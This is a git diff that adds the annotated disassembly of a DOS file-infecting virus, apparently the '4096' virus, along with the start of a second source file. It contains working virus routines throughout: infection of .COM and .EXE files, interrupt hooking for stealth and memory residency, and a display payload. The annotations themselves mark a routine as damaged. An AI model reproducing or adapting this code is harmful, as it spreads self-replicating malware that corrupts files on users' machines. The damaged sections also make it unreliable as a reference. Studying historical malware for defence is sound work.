bx,[si+1] + mov ax,ds:[bx+si+sav_file] ; (0000:FD9F) + mov [si],ax + mov ax,ds:[bx+si+sav_file+2] ; (0000:FDA1) + mov [si+2],ax + mov ax,ds:[bx+si+sav_file+4] ; (0000:FDA3) + mov [si+4],ax + jmp short loc_34 ; (067F) +loc_36: + cmp al,1 + je loc_37 ; Jump if equal + jmp loc_10 ; (030F) +loc_37: + or cs:data_85,1 ; (CS:12B3=0) + mov cs:prm_blck_adr,bx ; (CS:1224=0) + mov word ptr cs:prm_blck_adr+2,es ; (CS:1226=7DBDh) + call sub_19 ; Restore REGS + call sub_24 ; INT 21 + call sub_17 ; Save REGS + les bx,dword ptr cs:prm_blck_adr ; (CS:1224) Load EXEC param block address + lds si,dword ptr es:[bx+12h] ; Load CS:IP from EXEC parameter block + jc loc_40 ; Jump if carry Set + and byte ptr cs:data_85,0FEh ; (CS:12B3=0) + cmp si,1 ; infected .EXE ? + je loc_38 ; Jump if equal + mov ax,[si] + add ax,[si+2] + add ax,[si+4] + jnz loc_39 ; Jump if not zero + mov bx,[si+1] + mov ax,ds:[bx+si+sav_file] ; (013B:FD9F) saved original file + mov [si],ax + mov ax,ds:[bx+si+sav_file+2] ; (013B:FDA1) saved original file + mov [si+2],ax + mov ax,ds:[bx+si+sav_file+4] ; (013B:FDA3) saved original file + mov [si+4],ax + jmp short loc_39 ; (0765) +loc_38: + mov dx,word ptr ds:data_29+2 ; (013B:001A=2E09h) + call sub_9 ; Get PSP segment + mov cx,cs:data_77 ; (CS:12A3) - PSP segment + add cx,10h + add dx,cx + mov es:[bx+14h],dx + mov ax,word ptr ds:data_29 ; (013B:0018=7332h) + mov es:[bx+12h],ax + mov ax,ds:data_27 ; (013B:0012=2E08h) + add ax,cx + mov es:[bx+10h],ax + mov ax,ds:data_28 ; (013B:0014=3E80h) + mov es:[bx+0Eh],ax +loc_39: + call sub_9 ; Get PSP segment + mov ds,cs:data_77 ; (CS:12A3=0) + mov ax,[bp+2] + mov ds:PSP_0A,ax ; (0000:000A=0F000h) + mov ax,[bp+4] + mov word ptr ds:PSP_0A+2,ax ; (0000:000C=7F6h) +loc_40: + jmp loc_13 ; (0396) +_21_30: mov byte ptr cs:data_104,0 ; (CS:12F0=0) + mov ah,2Ah + call sub_24 ; INT 21 + cmp dx,916h + jb loc_41 ; Jump if below + call sub_28 ; (0FB2) +loc_41: + jmp loc_10 ; (030F) + +; +; SUBROUTINE - INFECTION +; + +sub_4 proc near + call sub_13 ; (0CC6) + call sub_5 ; (0855) + mov byte ptr data_31,1 ; (CS:0020=0) + cmp data_38,5A4Dh ; (CS:1200=0) + je loc_42 ; Jump if equal + cmp data_38,4D5Ah ; (CS:1200=0) + je loc_42 ; Jump if equal + dec byte ptr data_31 ; (CS:0020=0) + jz loc_45 ; Jump if zero +loc_42: +; .EXE file infect + mov ax,data_41 ; (CS:1204=0) + shl cx,1 ; Shift w/zeros fill + mul cx ; dx:ax = reg * ax + add ax,200h + cmp ax,si + jb loc_44 ; Jump if below + mov ax,data_43 ; (CS:120A=0) + or ax,data_44 ; (CS:120C=0) + jz loc_44 ; Jump if zero + mov ax,data_80 ; (CS:12A9=0) + mov dx,data_81 ; (CS:12AB=0) + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + or dx,dx ; Zero ? + jz loc_43 ; Jump if zero + inc ax +loc_43: + mov data_41,ax ; (CS:1204=0) + mov data_40,dx ; (CS:1202=0) + cmp data_48,1 ; (CS:1214=0) + je loc_46 ; Jump if equal + mov data_48,1 ; (CS:1214=0) + mov ax,si + sub ax,data_42 ; (CS:1208=0) + mov data_49,ax ; (CS:1216=0) + add data_41,8 ; (CS:1204=0) + mov data_45,ax ; (CS:120E=0) + mov data_46,1000h ; (CS:1210=0) BUG BUG BUG!!! + ; When .EXE file is infected, + ; the end of the virus wil be + ; damaged. (sp = 1000) + call sub_6 ; (08B3) +loc_44: + jmp short loc_46 ; (084C) +loc_45: +; .COM file infect + cmp si,0F00h ; file len in paragraphs + jae loc_46 ; Jump if above or = + mov ax,data_38 ; (CS:1200=0) + mov data_23,ax ; (CS:0004=20CDh) + add dx,ax + mov ax,data_40 ; (CS:1202=0) + mov data_24,ax ; (CS:0006=340h) + add dx,ax + mov ax,data_41 ; (CS:1204=0) + mov data_25,ax ; (CS:0008=50C6h) + add dx,ax + jz loc_46 ; Jump if zero - allready infected + mov cl,0E9h + mov byte ptr data_38,cl ; (CS:1200=0) + mov ax,10h + mul si ; dx:ax = reg * ax + add ax,265h + mov word ptr data_38+1,ax ; (CS:1201=0) + mov ax,data_38 ; (CS:1200=0) + add ax,data_40 ; (CS:1202=0) + neg ax + mov data_41,ax ; (CS:1204=0) + call sub_6 ; (08B3) +loc_46: + mov ah,3Eh ; '>' + call sub_24 ; INT 21 + call sub_14 ; (0D6C) + retn +sub_4 endp + + +; +; SUBROUTINE +; + +sub_5 proc near + push cs + pop ds + mov ax,5700h + call sub_24 ; INT 21 + mov data_53,cx ; (CS:1229=0) + mov data_54,dx ; (CS:122B=0) + mov ax,4200h + xor cx,cx ; Zero register + mov dx,cx + call sub_24 ; INT 21 + mov ah,3Fh ; '?' + mov cl,1Ch + mov dx,1200h + call sub_24 ; INT 21 + mov ax,4200h + xor cx,cx ; Zero register + mov dx,cx + call sub_24 ; INT 21 + mov ah,3Fh ; '?' + mov cl,1Ch + mov dx,4 + call sub_24 ; INT 21 + mov ax,4202h + xor cx,cx ; Zero register + mov dx,cx + call sub_24 ; INT 21 + mov data_80,ax ; (CS:12A9=0) + mov data_81,dx ; (CS:12AB=0) + mov di,ax + add ax,0Fh + adc dx,0 + and ax,0FFF0h + sub di,ax + mov cx,10h + div cx ; ax,dx rem=dx:ax/reg + mov si,ax + retn +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + mov ax,4200h + xor cx,cx ; Zero register + mov dx,cx + call sub_24 ; INT 21 + mov ah,40h + mov cl,1Ch + mov dx,1200h + call sub_24 ; INT 21 + mov ax,10h + mul si ; dx:ax = reg * ax + mov cx,dx + mov dx,ax + mov ax,4200h + call sub_24 ; INT 21 + xor dx,dx ; Zero register + mov cx,1000h + add cx,di + mov ah,40h + call sub_24 ; INT 21 + mov ax,5701h + mov cx,data_53 ; (CS:1229=0) + mov dx,data_54 ; (CS:122B=0) + test dh,80h + jnz loc_47 ; Jump if not zero + add dh,0C8h +loc_47: call sub_24 ; INT 21 + cmp byte ptr dos_ver,3 ; (CS:12EE=0) + jb loc_ret_48 ; Jump if below + cmp byte ptr data_103,0 ; (CS:12EF=0) + je loc_ret_48 ; Jump if equal + push bx + mov dl,data_52 ; (CS:1228=0) + mov ah,32h + call sub_24 ; INT 21 + mov ax,cs:data_101 ; (CS:12EC=0) + mov [bx+1Eh],ax + pop bx +loc_ret_48: + retn +sub_6 endp + + +; +; SUBROUTINE +; + +sub_7 proc near + call sub_21 ; Save REGS in vir's stack + mov di,dx + add di,0Dh + push ds + pop es + jmp short loc_50 ; (0945) +sub_7 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + call sub_21 ; Save REGS in vir's stack - save REGS + push ds + pop es + mov di,dx + mov cx,50h + xor ax,ax ; Zero register + mov bl,0 + cmp byte ptr [di+1],3Ah ; ':' + jne loc_49 ; Jump if not equal + mov bl,[di] + and bl,1Fh +loc_49: + mov cs:data_52,bl ; (CS:1228=0) + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al +loc_50: + mov ax,[di-3] + and ax,0DFDFh + add ah,al + mov al,[di-4] + and al,0DFh + add al,ah + mov byte ptr cs:data_31,0 ; (CS:0020=0) + cmp al,0DFh ; file name is ....COM + je loc_51 ; Jump if equal + inc byte ptr cs:data_31 ; (CS:0020=0) + cmp al,0E2h ; file name is ....EXE + jne loc_52 ; Jump if not equal +loc_51: + call sub_20 ; Restore regs from vir's stack + clc ; Clear carry flag + retn +loc_52: + call sub_20 ; Restore regs from vir's stack + stc ; Set carry flag + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_9 proc near + push bx + mov ah,51h + call sub_24 ; INT 21 + mov cs:data_77,bx ; (CS:12A3=0) + pop bx + retn +sub_9 endp + + +; +; SUBROUTINE +; + +sub_10 proc near + call sub_13 ; (0CC6) + push dx + mov dl,cs:data_52 ; (CS:1228=0) + mov ah,36h ; '6' + call sub_24 ; INT 21 + mul cx ; dx:ax = reg * ax + mul bx ; dx:ax = reg * ax + mov bx,dx + pop dx + or bx,bx ; Zero ? + jnz loc_53 ; Jump if not zero + cmp ax,4000h + jb loc_54 ; Jump if below +loc_53: + mov ax,4300h + call sub_24 ; INT 21 + jc loc_54 ; Jump if carry Set + mov di,cx + xor cx,cx ; Zero register + mov ax,4301h + call sub_24 ; INT 21 + cmp byte ptr cs:data_90,0 ; (CS:12DA=0) + jne loc_54 ; Jump if not equal + mov ax,3D02h + call sub_24 ; INT 21 + jc loc_54 ; Jump if carry Set + mov bx,ax + mov cx,di + mov ax,4301h + call sub_24 ; INT 21 + push bx + mov dl,cs:data_52 ; (CS:1228=0) + mov ah,32h ; '2' + call sub_24 ; INT 21 + mov ax,[bx+1Eh] + mov cs:data_101,ax ; (CS:12EC=0) + pop bx + call sub_14 ; (0D6C) + retn +loc_54: + xor bx,bx ; Zero register + dec bx + call sub_14 ; (0D6C) + retn +sub_10 endp + + +; +; SUBROUTINE +; + +sub_11 proc near + push cx + push dx + push ax + mov ax,4400h + call sub_24 ; INT 21 + xor dl,80h + test dl,80h + jz loc_55 ; Jump if zero + mov ax,5700h + call sub_24 ; INT 21 + test dh,80h +loc_55: + pop ax + pop dx + pop cx + retn +sub_11 endp + + +; +; SUBROUTINE +; + +sub_12 proc near + call sub_21 ; Save REGS in vir's stack + mov ax,4201h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_24 ; INT 21 + mov cs:data_78,ax ; (CS:12A5=0) + mov cs:data_79,dx ; (CS:12A7=0) + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_24 ; INT 21 + mov cs:data_80,ax ; (CS:12A9=0) + mov cs:data_81,dx ; (CS:12AB=0) + mov ax,4200h + mov dx,cs:data_78 ; (CS:12A5=0) + mov cx,cs:data_79 ; (CS:12A7=0) + call sub_24 ; INT 21 + call sub_20 ; Restore regs from vir's stack + retn +sub_12 endp + +_21_57: or al,al ; Zero ? + jnz loc_58 ; Jump if not zero + and cs:data_85,0FFFEh ; (CS:12B3=0) + call sub_19 ; Restore REGS + call sub_24 ; INT 21 + jc loc_57 ; Jump if carry Set + test dh,80h + jz loc_56 ; Jump if zero + sub dh,0C8h +loc_56: + jmp loc_11 ; (033F) +loc_57: + or cs:data_85,1 ; (CS:12B3=0) + jmp loc_11 ; (033F) +loc_58: + cmp al,1 + jne loc_61 ; Jump if not equal + and cs:data_85,0FFFEh ; (CS:12B3=0) + test dh,80h + jz loc_59 ; Jump if zero + sub dh,0C8h +loc_59: + call sub_11 ; (09E6) + jz loc_60 ; Jump if zero + add dh,0C8h +loc_60: + call sub_24 ; INT 21 + mov [bp-4],ax + adc cs:data_85,0 ; (CS:12B3=0) + jmp loc_13 ; (0396) +_21_42: cmp al,2 + jne loc_61 ; Jump if not equal + call sub_11 ; (09E6) + jz loc_61 ; Jump if zero + sub word ptr [bp-0Ah],1000h + sbb word ptr [bp-8],0 +loc_61: + jmp loc_10 ; (030F) +_21_3F: and byte ptr cs:data_85,0FEh ; (CS:12B3=0) + call sub_11 ; (09E6) + jz loc_61 ; Jump if zero + mov cs:data_83,cx ; (CS:12AF=0) + mov cs:data_82,dx ; (CS:12AD=0) + mov cs:data_84,0 ; (CS:12B1=0) + call sub_12 ; (0A04) + mov ax,cs:data_80 ; (CS:12A9=0) + mov dx,cs:data_81 ; (CS:12AB=0) + sub ax,1000h + sbb dx,0 + sub ax,cs:data_78 ; (CS:12A5=0) + sbb dx,cs:data_79 ; (CS:12A7=0) + jns loc_62 ; Jump if not sign + mov word ptr [bp-4],0 + jmp loc_25 ; (0549) +loc_62: + jnz loc_63 ; Jump if not zero + cmp ax,cx + ja loc_63 ; Jump if above + mov cs:data_83,ax ; (CS:12AF=0) +loc_63: + mov dx,cs:data_78 ; (CS:12A5=0) + mov cx,cs:data_79 ; (CS:12A7=0) + or cx,cx ; Zero ? + jnz loc_64 ; Jump if not zero + cmp dx,1Ch + jbe loc_65 ; Jump if below or = +loc_64: + mov dx,cs:data_82 ; (CS:12AD=0) + mov cx,cs:data_83 ; (CS:12AF=0) + mov ah,3Fh ; '?' + call sub_24 ; INT 21 + add ax,cs:data_84 ; (CS:12B1=0) + mov [bp-4],ax + jmp loc_13 ; (0396) +loc_65: + mov si,dx + mov di,dx + add di,cs:data_83 ; (CS:12AF=0) + cmp di,1Ch + jb loc_66 ; Jump if below + xor di,di ; Zero register + jmp short loc_67 ; (0B35) +loc_66: + sub di,1Ch + neg di +loc_67: + mov ax,dx + mov cx,cs:data_81 ; (CS:12AB=0) + mov dx,cs:data_80 ; (CS:12A9=0) + add dx,0Fh + adc cx,0 + and dx,0FFF0h + sub dx,0FFCh + sbb cx,0 + add dx,ax + adc cx,0 + mov ax,4200h + call sub_24 ; INT 21 + mov cx,1Ch + sub cx,di + sub cx,si + mov ah,3Fh ; '?' + mov dx,cs:data_82 ; (CS:12AD=0) + call sub_24 ; INT 21 + add cs:data_82,ax ; (CS:12AD=0) + sub cs:data_83,ax ; (CS:12AF=0) + add cs:data_84,ax ; (CS:12B1=0) + xor cx,cx ; Zero register + mov dx,1Ch + mov ax,4200h + call sub_24 ; INT 21 + jmp loc_64 ; (0B04) +_21_40: and byte ptr cs:data_85,0FEh ; (CS:12B3=0) + call sub_11 ; (09E6) + jnz loc_68 ; Jump if not zero + jmp loc_61 ; (0AA2) +loc_68: + mov cs:data_83,cx ; (CS:12AF=0) + mov cs:data_82,dx ; (CS:12AD=0) + mov cs:data_84,0 ; (CS:12B1=0) + call sub_12 ; (0A04) + mov ax,cs:data_80 ; (CS:12A9=0) + mov dx,cs:data_81 ; (CS:12AB=0) + sub ax,1000h + sbb dx,0 + sub ax,cs:data_78 ; (CS:12A5=0) + sbb dx,cs:data_79 ; (CS:12A7=0) + js loc_69 ; Jump if sign=1 + jmp short loc_71 ; (0C47) +loc_69: + call sub_13 ; (0CC6) + push cs + pop ds + mov dx,data_80 ; (CS:12A9=0) + mov cx,data_81 ; (CS:12AB=0) + add dx,0Fh + adc cx,0 + and dx,0FFF0h + sub dx,0FFCh + sbb cx,0 + mov ax,4200h + call sub_24 ; INT 21 + mov dx,4 + mov cx,1Ch + mov ah,3Fh ; '?' + call sub_24 ; INT 21 + mov ax,4200h + xor cx,cx ; Zero register + mov dx,cx + call sub_24 ; INT 21 + mov dx,4 + mov cx,1Ch + mov ah,40h ; '@' + call sub_24 ; INT 21 + mov dx,0F000h + mov cx,0FFFFh + mov ax,4202h + call sub_24 ; INT 21 + mov ah,40h ; '@' + xor cx,cx ; Zero register + call sub_24 ; INT 21 + mov dx,data_78 ; (CS:12A5=0) + mov cx,data_79 ; (CS:12A7=0) + mov ax,4200h + call sub_24 ; INT 21 + mov ax,5700h + call sub_24 ; INT 21 + test dh,80h + jz loc_70 ; Jump if zero + sub dh,0C8h + mov ax,5701h + call sub_24 ; INT 21 +loc_70: + call sub_14 ; (0D6C) + jmp loc_10 ; (030F) +loc_71: + jnz loc_72 ; Jump if not zero + cmp ax,cx + ja loc_72 ; Jump if above + jmp loc_69 ; (0BC9) +loc_72: + mov dx,cs:data_78 ; (CS:12A5=0) + mov cx,cs:data_79 ; (CS:12A7=0) + or cx,cx ; Zero ? + jnz loc_73 ; Jump if not zero + cmp dx,1Ch + ja loc_73 ; Jump if above + jmp loc_69 ; (0BC9) +loc_73: + call sub_19 ; Restore REGS + call sub_24 ; INT 21 + call sub_17 ; Save REGS + mov ax,5700h + call sub_24 ; INT 21 + test dh,80h + jnz loc_74 ; Jump if not zero + add dh,0C8h + mov ax,5701h + call sub_24 ; INT 21 +loc_74: jmp loc_13 ; (0396) + jmp loc_10 ; (030F) + +int_13: pop word ptr cs:data_65 ; (CS:1241=0) + pop word ptr cs:data_65+2 ; (CS:1243=0) + pop cs:data_91 ; (CS:12DB=0) + and cs:data_91,0FFFEh ; (CS:12DB=0) + cmp byte ptr cs:data_90,0 ; (CS:12DA=0) + jne loc_75 ; Jump if not equal + push cs:data_91 ; (CS:12DB=0) + call dword ptr cs:old_INT ; (CS:122D=0) + jnc loc_76 ; Jump if carry=0 + inc cs:data_90 ; (CS:12DA=0) +loc_75: stc ; Set carry flag +loc_76: jmp dword ptr cs:data_65 ; (CS:1241=0) + +int_24: xor al,al ; Zero register + mov byte ptr cs:data_90,1 ; (CS:12DA=0) + iret ; Interrupt return + +; +; SUBROUTINE +; + +sub_13 proc near + mov byte ptr cs:data_90,0 ; (CS:12DA=0) + call sub_21 ; Save REGS in vir's stack + push cs + pop ds + mov al,13h + call sub_1 ; Get INT 13 vector + mov word ptr old_INT,bx ; (CS:122D=0) + mov word ptr old_INT+2,es ; (CS:122F=70h) + mov word ptr old_INT_13,bx ; (CS:1239=0) + mov word ptr old_INT_13+2,es ; (CS:123B=70h) + mov dl,0 + mov al,0Dh + call sub_1 ; Get INT 0D vector + mov ax,es + cmp ax,0C000h + jae loc_77 ; Jump if above or = + mov dl,2 +loc_77: + mov al,0Eh + call sub_1 ; Get INT 0E vector + mov ax,es + cmp ax,0C000h + jae loc_78 ; Jump if above or = + mov dl,2 +loc_78: + mov data_73,dl ; (CS:1250=0) + call sub_22 ; Set INT 01 for debuging + mov data_92,ss ; (CS:12DD=151Ch) + mov data_93,sp ; (CS:12DF=0) + push cs + mov ax,offset loc_79 + push ax + mov ax,70h + mov es,ax + mov cx,0FFFFh + mov al,0CBh + xor di,di ; Zero register + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + dec di + pushf ; Push flags + push es + push di + pushf ; Push flags + pop ax + or ah,1 + push ax + in al,21h ; port 21h, 8259-1 int IMR + mov data_97,al ; (CS:12E5=0) + mov al,0FFh + out 21h,al ; port 21h, 8259-1 int comands + popf ; Pop flags + xor ax,ax ; Zero register + jmp dword ptr old_INT ; (CS:122D=0) +loc_79: + lds dx,old_INT_1 ; (CS:1231=0) Load 32 bit ptr + mov al,1 + call sub_27 ; Set INT 01 vector + push cs + pop ds + mov dx,offset int_13 + mov al,13h + call sub_27 ; Set INT 13 vector + mov al,24h + call sub_1 ; Get INT 24 vector + mov word ptr old_INT_24,bx ; (CS:123D=0) + mov word ptr old_INT_24+2,es ; (CS:123F=70h) + mov dx,offset int_24 + mov al,24h + call sub_27 ; Set INT 24 vector + call sub_20 ; Restore regs from vir's stack + retn +sub_13 endp + + +; +; SUBROUTINE +; + +sub_14 proc near + call sub_21 ; Save REGS in vir's stack + lds dx,dword ptr cs:old_INT_13 ; (CS:1239=0) Load 32 bit ptr + mov al,13h + call sub_27 ; Set INT 13 vector + lds dx,dword ptr cs:old_INT_24 ; (CS:123D=0) Load 32 bit ptr + mov al,24h + call sub_27 ; Set INT 24 vector + call sub_20 ; Restore regs from vir's stack + retn +sub_14 endp + + +; +; SUBROUTINE +; + +sub_15 proc near + mov ax,3300h ; Get CTRL-BREAK state + call sub_24 ; INT 21 + mov cs:data_94,dl ; (CS:12E1) save state + mov ax,3301h + xor dl,dl ; Set CTRL-BREAK = OFF + call sub_24 ; INT 21 + retn +sub_15 endp + + +; +; SUBROUTINE +; + +sub_16 proc near + mov dl,cs:data_94 ; (CS:12E1) + mov ax,3301h ; Restore CTRL-BREAK state + call sub_24 ; INT 21 + retn +sub_16 endp + + +; +; SUBROUTINE +; + +sub_17 proc near + pop cs:data_100 ; (CS:12EA=0) + pushf ; Push flags + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + jmp word ptr cs:data_100 ; (CS:12EA=0) +sub_17 endp + + +; +; SUBROUTINE +; + +sub_18 proc near + les di,dword ptr cs:ptr_INT_21 ; (CS:1235=0) Load 32 bit ptr + mov si,offset data_70 ; (CS:124B=0) + push cs + pop ds + cld ; Clear direction + mov cx,5 + +locloop_80: + lodsb ; String [si] to al + xchg al,es:[di] + mov [si-1],al + inc di + loop locloop_80 ; Loop if cx > 0 + + retn +sub_18 endp + + +; +; SUBROUTINE +; + +sub_19 proc near + pop cs:data_100 ; (CS:12EA=0) + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf ; Pop flags + jmp word ptr cs:data_100 ; (CS:12EA=0) + +; External Entry into Subroutine + +sub_20: + mov cs:data_114,offset sub_19 ; (CS:135D=0) Restore REGS + jmp short loc_81 ; (0DF6) + +; External Entry into Subroutine + +sub_21: + mov cs:data_114,offset sub_17 ; (CS:135D=0) Save REGS +loc_81: mov cs:data_112,ss ; (CS:1359=151Ch) + mov cs:data_111,sp ; (CS:1357=0) + push cs + pop ss + mov sp,cs:data_113 ; (CS:135B=0) + call word ptr cs:data_114 ; (CS:135D=0) + mov cs:data_113,sp ; (CS:135B=0) + mov ss,cs:data_112 ; (CS:1359=151Ch) + mov sp,cs:data_111 ; (CS:1357=0) + retn +sub_19 endp + + +; +; SUBROUTINE +; + +sub_22 proc near + mov al,1 + call sub_1 ; Get INT 01 vector + mov word ptr cs:old_INT_1,bx ; (CS:1231=0) + mov word ptr cs:old_INT_1+2,es ; (CS:1233=70h) + push cs + pop ds + mov dx,offset debug + call sub_27 ; Set INT 01 vector + retn +sub_22 endp + +_21_48: call sub_23 ; (0E3A) + jmp loc_10 ; (030F) + +; +; SUBROUTINE +; + +sub_23 proc near + cmp byte ptr cs:data_95,0 ; (CS:12E2=0) + je loc_ret_83 ; Jump if equal + cmp bx,0FFFFh + jne loc_ret_83 ; Jump if not equal + mov bx,160h + call sub_24 ; INT 21 + jc loc_ret_83 ; Jump if carry Set + mov dx,cs + cmp ax,dx + jb loc_82 ; Jump if below + mov es,ax + mov ah,49h + call sub_24 ; INT 21 + jmp short loc_ret_83 ; (0E8A) +loc_82: + dec dx + mov ds,dx + mov word ptr ds:MCB_0001,0 ; (7DBC:0001=275h) + inc dx + mov ds,dx + mov es,ax + push ax + mov cs:data_72,ax ; (CS:124E=7DBDh) + xor si,si ; Zero register + mov di,si + mov cx,all_len/2 + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + dec ax + mov es,ax + mov ax,cs:data_69 ; (CS:1249=0) + mov es:MCB_0001,ax ; (48FF:0001=0FFFFh) + mov ax,offset loc_ret_83 + push ax + retf +loc_ret_83: retn +sub_23 endp + +_21_37: mov byte ptr cs:data_104,2 ; (CS:12F0=0) + jmp loc_10 ; (030F) + +; +; SUBROUTINE +; + +sub_24 proc near ; calls INT 21 + pushf + call dword ptr cs:ptr_INT_21 ; (CS:1235=0) + retn +sub_24 endp + +boot: cli ; Disable interrupts + xor ax,ax ; Zero register + mov ss,ax + mov sp,7C00h + jmp short loc_85 ; (0EF4) + +data1 db 0dbh,0dbh,0dbh, 20h +data2 db 0f9h,0e0h,0e3h,0c3h + db 80h, 81h, 11h, 12h, 24h, 40h, 81h, 11h + db 12h, 24h, 40h,0F1h,0F1h, 12h, 24h, 40h + db 81h, 21h, 12h, 24h, 40h, 81h, 10h,0e3h + db 0C3h, 80h, 00h, 00h, 00h, 00h, 00h, 00h + db 00h, 00h, 00h, 00h, 82h, 44h,0F8h, 70h + db 0C0h, 82h, 44h, 80h, 88h,0C0h, 82h, 44h + db 80h, 80h,0C0h, 82h, 44h,0F0h, 70h,0C0h + db 82h, 28h, 80h, 08h,0C0h, 82h, 28h, 80h + db 88h, 00h,0F2h, 10h,0F8h, 70h,0C0h + +loc_85: push cs + pop ds + mov dx,0B000h + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + cmp al,7 + je loc_86 ; Jump if equal + mov dx,0B800h +loc_86: + mov es,dx + cld ; Clear direction + xor di,di ; Zero register + mov cx,7D0h + mov ax,720h + rep stosw ; Rep when cx >0 Store ax to es:[di] + mov si,data2-boot+7C00h ; (CS:7C0E=0) + mov bx,2AEh +loc_87: + mov bp,5 + mov di,bx +loc_88: + lodsb ; String [si] to al + mov dh,al + mov cx,8 + +locloop_89: + mov ax,720h + shl dx,1 ; Shift w/zeros fill + jnc loc_90 ; Jump if carry=0 + mov al,0DBh +loc_90: + stosw ; Store ax to es:[di] + loop locloop_89 ; Loop if cx > 0 + + dec bp + jnz loc_88 ; Jump if not zero + add bx,0A0h + cmp si,loc_85-boot+7C00h + jb loc_87 ; Jump if below + mov ah,1 + int 10h ; Video display ah=functn 01h + ; set cursor mode in cx + mov al,8 + mov dx,loc_911-boot+7C00h + call sub_27 ; Set INT 08 vector + mov ax,7FEh + out 21h,al ; port 21h, 8259-1 int comands + ; al = 0FEh, IRQ0 (timer) only + sti ; Enable interrupts + xor bx,bx ; Zero register + mov cx,1 +loc_91: jmp short loc_91 ; SLEEP!!! +loc_911: dec cx ; INT 08 handler + jnz loc_92 ; Jump if not zero + xor di,di ; Zero register + inc bx + call sub_25 ; (0F67) + call sub_25 ; (0F67) + mov cl,4 +loc_92: + mov al,20h ; ' ' + out 20h,al ; port 20h, 8259-1 int command + ; al = 20h, end of interrupt + iret ; Interrupt return + +; +; SUBROUTINE +; + +sub_25 proc near + mov cx,28h + +locloop_93: + call sub_26 ; (0F93) + stosw ; Store ax to es:[di] + stosw ; Store ax to es:[di] + loop locloop_93 ; Loop if cx > 0 + +add1: add di,9Eh ; sub di,9Eh + mov cx,17h + +locloop_94: + call sub_26 ; (0F93) + stosw ; Store ax to es:[di] +add2: add di,9Eh ; sub di,9Eh + loop locloop_94 ; Loop if cx > 0 + +setd: std ; Set direction flag +_setd equ setd - boot + 7c00h + xor byte ptr ds:[_setd],1 ; (CS:7CE7=0) +_add1 equ add1 - boot + 7c01h + xor byte ptr ds:[_add1],28h ; (CS:7CD7=0) '(' +_add2 equ add2 - boot + 7c01h + xor byte ptr ds:[_add2],28h ; (CS:7CE2=0) '(' + retn +sub_25 endp + + +; +; SUBROUTINE +; + +sub_26 proc near + and bx,3 +_data1 equ data1 - boot + 7c00h + mov al,byte ptr ds:[_data1+bx] ; (CS:7C0A=0) + inc bx + retn +sub_26 endp + + +; +; SUBROUTINE +; + +sub_27 proc near + push es + push bx + xor bx,bx ; Zero register + mov es,bx + mov bl,al + shl bx,1 ; Shift w/zeros fill + shl bx,1 ; Shift w/zeros fill + mov es:[bx],dx + mov es:[bx+2],ds + pop bx + pop es + retn +sub_27 endp + + +; +; SUBROUTINE - *** DAMAGED BY STACK *** +; + +sub_28 proc near + call sub_13 ; (0CC6) + mov dl,1 + add [bp+si-4F2h],bl + pop es + jo $+2 ; Jump if overflow=1 + xor cx,word ptr ds:[32Eh] ; (0000:032E=0) + push di + sbb [bp+di],al + add byte ptr ds:[0],ah ; (0000:0000=5Bh) + add [bx+di],ah + add [bx+si+12h],dl + sbb dx,[bx] + loopnz $+11h ; Loop if zf=0, cx>0 + jnp $+23h ; Jump if not parity + db 0C1h, 02h, 31h, 41h, 7Ah, 16h + db 01h, 1Fh, 9Ah, 0Eh,0FBh, 07h + db 70h, 00h, 33h, 0Eh, 2Eh, 03h + db 57h, 18h, 57h, 1Fh,0A9h, 80h + db 00h, 00h, 57h, 1Fh +sub_28 endp + + org 1200h + +data_38 dw ? +data_40 dw ? +data_41 dw ?, ? +data_42 dw ? +data_43 dw ? +data_44 dw ? +data_45 dw ? +data_46 dw ?, ? +data_48 dw ? +data_49 dw ? + db 12 dup (?) +prm_blck_adr dw ?, ? +data_52 db ? +data_53 dw ? +data_54 dw ? +old_INT dd ? +old_INT_1 dd ? +ptr_INT_21 dd ? +old_INT_13 dd ? +old_INT_24 dd ? +data_65 dd ? +old_DS dw ? +data_68 dw ? +data_69 dw ? +data_70 db ? +data_71 dw ? +data_72 dw ? +data_73 db ? +data_74 db ? +data_75 db 50h dup (?) +data_76 db ? +data_77 dw ? +data_78 dw ? +data_79 dw ? +data_80 dw ? +data_81 dw ? +data_82 dw ? +data_83 dw ? +data_84 dw ? +data_85 dw ? +data_86 db 0Eh dup (?) +data_87 dw ? +data_88 dd ? + db ? +data_89 db 10h dup (?) +data_90 db ? +data_91 dw ? +data_92 dw ? +data_93 dw ? +data_94 db ? +data_95 db ? +old_AX dw ? +data_97 db ? +data_98 dw ? +data_99 dw ? +data_100 dw ? +data_101 dw ? +dos_ver db ? +data_103 db ? +data_104 db ? +exec_block db 0Eh dup (?) +data_106 dw ? +data_107 dw ? +entry_point dd ? +file_name db 50h dup (?) +data_111 dw ? +data_112 dw ? +data_113 dw ? +data_114 dw ? + +seg_a ends + + end + \ No newline at end of file diff --git a/0-9/4096.asm b/0-9/4096.asm new file mode 100755 index 0000000..da57d58 --- /dev/null +++ b/0-9/4096.asm @@ -0,0 +1,1902 @@ + +PAGE 59,132 + +; +; +; VIR_ +; +; Created: ??-??-?? +; Version: +; Code type: zero start +; Passes: 9 Analysis Options on: A +; +; Disassembled by: Sir John -- 11.MAR.1991 +; +; + +PSP_0A equ 0Ah ; (0000:000A=0) +MCB_0000 equ 0 ; (7DBC:0000=E9) +MCB_0001 equ 1 ; (7DBC:0001=275h) +MCB_0003 equ 3 ; (7DBC:0003=1503h) +all_len equ 1600h +jmp_len equ 3 +sav_file equ data_23 - virus_entry + jmp_len + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + org 0 + + db 00h + + jmp vir_1 +data_23 dw 20CDh ; old file +data_24 dw 0 ; (first 6 bytes) +data_25 dw 0 ; - check sum + db 0,0,0,0,0,0,0,0 +data_27 dw 0 ; + 0eh = original SS: +data_28 dw 0 ; + 10h = original SP + dw 0 +data_29 dd 0 ; + 14h = .EXE file entry point + db 0,0,0,0 +data_31 db 0 ; flag : 1-EXE, 0-COM 